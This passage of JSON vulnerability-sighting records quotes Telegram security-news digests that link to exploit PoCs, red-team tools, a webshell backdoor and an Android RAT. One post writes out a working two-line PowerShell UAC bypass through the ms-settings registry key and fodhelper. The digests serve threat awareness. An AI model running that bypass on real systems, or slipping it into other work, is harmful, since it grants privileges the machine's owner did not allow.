on Honda/Acura vehicles\ud83d\ude00\nhttps://github.com/hackingintoyourheart/unoriginal-rice-patty\n\nBlue Team Techniques\n1. Getting the maximum of your C compiler, for security\nhttps://airbus-seclab.github.io/c-compiler-security\n2. Cobalt Strike Beacon configuration extractor and parser\nhttps://github.com/strozfriedberg/cobaltstrike-config-extractor\n\nOffensive security\n1. Deception in Depth - LSASS Injection\nhttps://blog.spookysec.net/DnD-LSASS-Injection\n2. CVE-2021-28663:\nAndroid kernel backdoor vulnerability\nhttps://paper.seebug.org/1690\n// This vulnerability in the ARM Mali GPU driver can help an attacker:\n- steal other APP running memory data;\n- modify other APP code;\n- steal kernel running memory data;\n- stably obtain ROOT permission...\n\nMalware analysis\nPhishing via Open Redirects\ud83e\udd78\nhttps://www.microsoft.com/security/blog/2021/08/26/widespread-credential-phishing-campaign-abuses-open-redirector-links\n\nThreat Research\n1. Exploiting GraphQL\nhttps://blog.assetnote.io/2021/08/29/exploiting-graphql\n]-> GraphQL security auditing \ud83d\udc4d\ud83c\udffdscript:\nhttps://github.com/assetnote/batchql\n2. Operation (Th\u1ee7y Tinh) OceanStorm\nhttps://mp.weixin.qq.com/s/dGW0FrbZZ5UA6KuuZB8J_g", "creation_timestamp": "2026-09-02T01:04:28.413776Z"}, {"uuid": "ad914d25-727f-4a8f-bce8-22c03617ffab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/cissp/4040", "content": "exploit\nInteger Overflow to RCE - ManageEngine Asset Explorer Agent (CVE-2021-20082)\ud83d\ude2c\nhttps://medium.com/tenable-techblog/integer-overflow-to-rce-manageengine-asset-explorer-agent-cve-2021-20082-7e54cb2caad5\n\nThreat Research\n1. ThroughTek \"Kalay\" Protocol Vulnerability (CVE-2021-28372)\nhttps://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html\n\nOffensive security\nExecuting Code In Context Of A Trusted Agent (Part 1) - Windows Defender Antivirus\nhttps://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html?m=1\n]-> PoC:\nhttps://github.com/klinix5/WinDefendInjectPoC", "creation_timestamp": "2026-09-02T01:04:29.092618Z"}, {"uuid": "7c3dce05-2f38-4340-9baa-85136f209ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "seen", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-02T01:04:44.667045Z"}, {"uuid": "9fc1bdee-bb9e-47c7-8d37-41202eb39c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/4014", "content": "ThreatResearch\nVulnerability Analysis in Emissary\n(Distributed P2P Data-driven Workflow Framework)\nhttps://securitylab.github.com/research/NSA-emissary\n\n5G Network Security\n5G Shortcuts allow Evesdropping\nhttps://www.wired.com/story/5g-network-stingray-surveillance-non-standalone\n\nMalware analysis\n1. New AdLoad Campaign Goes Undetected by XProtect\nhttps://labs.sentinelone.com/massive-new-adload-campaign-goes-entirely-undetected-by-apples-xprotect\n2. TA551 Shathak Continues Pushing BazarLoader Leading to Cobalt Strike\nhttps://isc.sans.edu/forums/diary/TA551+Shathak+continues+pushing+BazarLoader+infections+lead+to+Cobalt+Strike/27738\n\nOffensive security\n1. How to Hack APIs in 2021\nhttps://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021\n2. Windows Registry Run Keys\nhttps://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys\n\nexploit\nhAFL1 - Our Journey of Fuzzing Hyper-V and Discovering a Critical 0-Day (CVE-2021-28476)\nhttps://www.guardicore.com/labs/hafl1-our-journey-of-fuzzing-hyper-v-and-discovering-a-critical-0-day\n]-> Fuzzer hAFL1:\nhttps://github.com/SB-GC-Labs/hAFL1", "creation_timestamp": "2026-09-02T01:04:30.285002Z"}, {"uuid": "de9ab23c-ad02-49d1-9e20-77b5b2e3115d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/3920", "content": "Reversing for dummies - x86 assembly and C code (Beginner/ADHD friendly)\nhttps://0x41.cf/reversing/2021/07/21/reversing-x86-and-c-code-for-beginners.html\n\nThreat Research\n1. Zimbra 8.8.15 - Webmail Compromise via Email\ud83d\udc4d\ud83c\udffd\nhttps://blog.sonarsource.com/zimbra-webmail-compromise-via-email\n2. CVE-2021-27077:\nSelecting Bitmaps Into Mismatched Device Contexts\nhttps://www.zerodayinitiative.com/blog/2021/7/26/cve-2021-27077-selecting-bitmaps-into-mismatched-device-contexts\n\nOffensive security\nCobalt Strike BOF - Bypass AMSI in a remote process with code injection\nhttps://github.com/boku7/injectAmsiBypass\n\nCloud Security\nCritical 9.9 Vulnerability In Hyper-V Allowed Attackers To Exploit Azure (CVE-2021-28476)\ud83e\udd74\nhttps://www.guardicore.com/labs/critical-vulnerability-in-hyper-v-allowed-attackers-to-exploit-azure", "creation_timestamp": "2026-09-02T01:04:30.973856Z"}, {"uuid": "0963aeb3-b9b7-4a22-a10f-db790e266411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28903", "type": "seen", "source": "https://t.me/cissp/3906", "content": "exploit\nPoC for exploiting CVE-2021-28903:\nA stack overflow in libyang <= v1.0.225 can cause a denial of service through function lyxml_parse_mem()\nhttps://github.com/AlAIAL90/CVE-2021-28903\n\nTryhackme: Android Hacking 101 Walkthrough: \nPart 1: https://hacklido.com/blog/264-tryhackme-android-hacking-101-walkthrough-part-1-of-2\nPart 2: https://hacklido.com/blog/266-tryhackme-android-hacking-101-walkthrough-part-2-of-2\n\nBlueTeam Techniques\n1. Cobalt Strike Hunting - simple PCAP and Beacon Analysis\nhttps://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811\n2. Walkthrough of DFIR Madness PCAP\nhttps://www.netresec.com/?page=Blog&month=2021-07&post=Walkthrough-of-DFIR-Madness-PCAP\n\nRed Team Tactics\n1. Bash script will help to hack remote hosts\nhttps://github.com/FabioDefilippo/linuxallremote\n2. JMX enumeration and attacking tool\nhttps://github.com/qtc-de/beanshooter", "creation_timestamp": "2026-09-02T01:04:32.104086Z"}, {"uuid": "539d7d83-d3d0-4be3-910f-0904ba7f6af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/cissp/3694", "content": "Red Team Tactics\n1. Open-Source PE Packer\nhttps://iwantmore.pizza/posts/PEzor4.html\n]-> https://github.com/phra/PEzor\n2. XNU IPC - Mach messages\nhttps://dmcyk.xyz/post/xnu_ipc_i_mach_messages\n3. Avoiding Fork&Run .NET Execution With InlineExecute-Assembly\nhttps://securityintelligence.com/posts/net-execution-inlineexecute-assembly\n]-> Beacon Object File PoC:\nhttps://github.com/xforcered/InlineExecute-Assembly\n\nBlue Team Techniques\nAPI Security Need to Know:\nTop 5 Authentication Pitfalls\nhttps://www.cequence.ai/blog/api-security-need-to-know-top-5-authentication-pitfalls\n\nThreat Research\nCVE-2021-28474:\nSharePoint RCE via Server-Side Control Interpretation Conflict\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict\n\nCloud Security\nREST API Fuzz Testing (RAFT):\nSource code for self-hosted service developed for Azure, including the API, orchestration engine, and default set of security tools (including MSR's RESTler), that enables developers to embed security tooling into their CI/CD workflows\nhttps://github.com/microsoft/rest-api-fuzz-testing", "creation_timestamp": "2026-09-02T01:04:33.651998Z"}, {"uuid": "c43f568c-65db-4ca7-a96e-84c707fabed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28797", "type": "seen", "source": "https://t.me/cissp/2945", "content": "CVE-2021-29627:\nIn FreeBSD 13.0-STABLE < n245050, 12.2-STABLE < r369525, 13.0-RC4 < p0, 12.2-RELEASE < p6, listening socket accept filters implementing the accf_create callback incorrectly freed a process supplied argument string. Additional operations on the socket can lead to a double free/use after free (1-day PoC)\nhttps://github.com/raymontag/cve-2021-29627\n\nRed Team Tactics:\n1. Unauthenticated Account Takeover Through Forget Password\nhttps://infosecwriteups.com/unauthenticated-account-takeover-through-forget-password-c120b4c1141d\n2. A webshell that can bypass some system security\nhttps://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor\n\nThreat Research:\nMemory corruption vulnerability in QNAP QTS\u2019s Surveillance Station plugin leads to a pre-auth RCE\n(PoC for CVE-2021-28797)\nhttps://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce", "creation_timestamp": "2026-09-02T01:04:45.827108Z"}, {"uuid": "4d02ed58-c8ce-4022-9194-eec79731b026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28312", "type": "seen", "source": "https://t.me/cissp/3148", "content": "CVE-2021-1815:\nmacOS Local Privilege Escalation Via Preferences (PoC)\nhttps://www.offensive-security.com/offsec/macos-preferences-priv-escalation/?utm_content=165476462&utm_medium=social&utm_source=twitter&hss_channel=tw-134994790\n]-> Compromising the macOS Kernel through Safari by Chaining Six \ud83e\udd2aVulnerabilities (code):\nhttps://github.com/sslab-gatech/pwn2own2020\n\nThreat Research\n1. Data Only Attack:\nNeutralizing EtwTi Provider\nhttps://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider\n2. Unauthorized access to Facebook environment\ud83d\udc4d\ud83c\udffd\nhttps://mvinni.medium.com/workplace-by-facebook-unauthorized-access-to-companies-environment-27-5k-a593a57092f1\n\nexploit\nCVE-2021-28312:\nWindows 10 1809/1909/2004/20H2, Server 2019 - NTFS DoS Vulnerability (PoC)\nhttps://github.com/shubham0d/CVE-2021-28312", "creation_timestamp": "2026-09-02T01:04:40.162261Z"}, {"uuid": "0ec57685-1184-4ec1-ae15-208b00dd9721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28091", "type": "seen", "source": "https://t.me/cissp/3331", "content": "Malware analysis\n1. Hex-Rays, GetProcAddress, and Malware Analysis\nhttps://www.msreverseengineering.com/blog/2021/6/1/hex-rays-getprocaddress-and-malware-analysis\n2. Kimsuky APT continues to target South Korean government using AppleSeed backdoor\nhttps://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor\n\nSCADA Security\nMultiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products\nhttps://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-korenix-technology-westermo-pepperl-fuchs\n// Products affected include JetNet 5428G-20SFP, 5810G, 4706F, 4706, 4510, 5010, 5310, 6095\n]-> PoC:\nhttps://packetstormsecurity.com/files/162903/SA-20210601-0.txt\n\nFinding Memory Bugs with Google Address Sanitizer (ASAN) on Microcontrollers\nhttps://mcuoneclipse.com/2021/05/31/finding-memory-bugs-with-google-address-sanitizer-asan-on-microcontrollers\n\nThreat Research\n1. Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)\nhttps://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n2. Akamai EAA Impersonation Vulnerability\n(PoC for CVE-2021-28091)\nhttps://blogs.akamai.com/2021/06/akamai-eaa-impersonation-vulnerability---a-deep-dive.html\n\nApple ROM/BootROM Collection\nhttp://securerom.fun", "creation_timestamp": "2026-09-02T01:04:37.237416Z"}, {"uuid": "0f5d6eb7-ba3d-465a-9557-ea5c021216d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-02T01:04:45.660810Z"}, {"uuid": "abc778cb-004a-4254-af8a-9454f2dd3cf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.769075Z"}, {"uuid": "5c7f0075-b8b5-4b13-b13b-1939da0dbc7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.858580Z"}, {"uuid": "2c6240f5-df59-4351-9d80-c0654ee00b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.647123Z"}, {"uuid": "6423ee92-db53-4fef-852e-e942c1185a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:41.032652Z"}, {"uuid": "7ba4e239-3445-490a-b0f8-67c05e492fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:41.118693Z"}, {"uuid": "ee3e4e23-69fe-4f76-9209-9a9747ba5098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28321", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-02T01:04:42.554729Z"}, {"uuid": "e70ed9c8-b6b9-45dd-8de7-3ab2a08e72a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28322", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-02T01:04:42.601161Z"}, {"uuid": "d5d1a470-b946-4c26-9716-babeb1433179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28313", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-02T01:04:42.648194Z"}, {"uuid": "6a71aa0b-6b0e-4830-9b6b-12eb8ed561ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.368120Z"}, {"uuid": "fea13a39-937a-4c9d-b996-1542fc114422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.413381Z"}, {"uuid": "17002df7-3148-411c-a084-7bf5d9a623ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 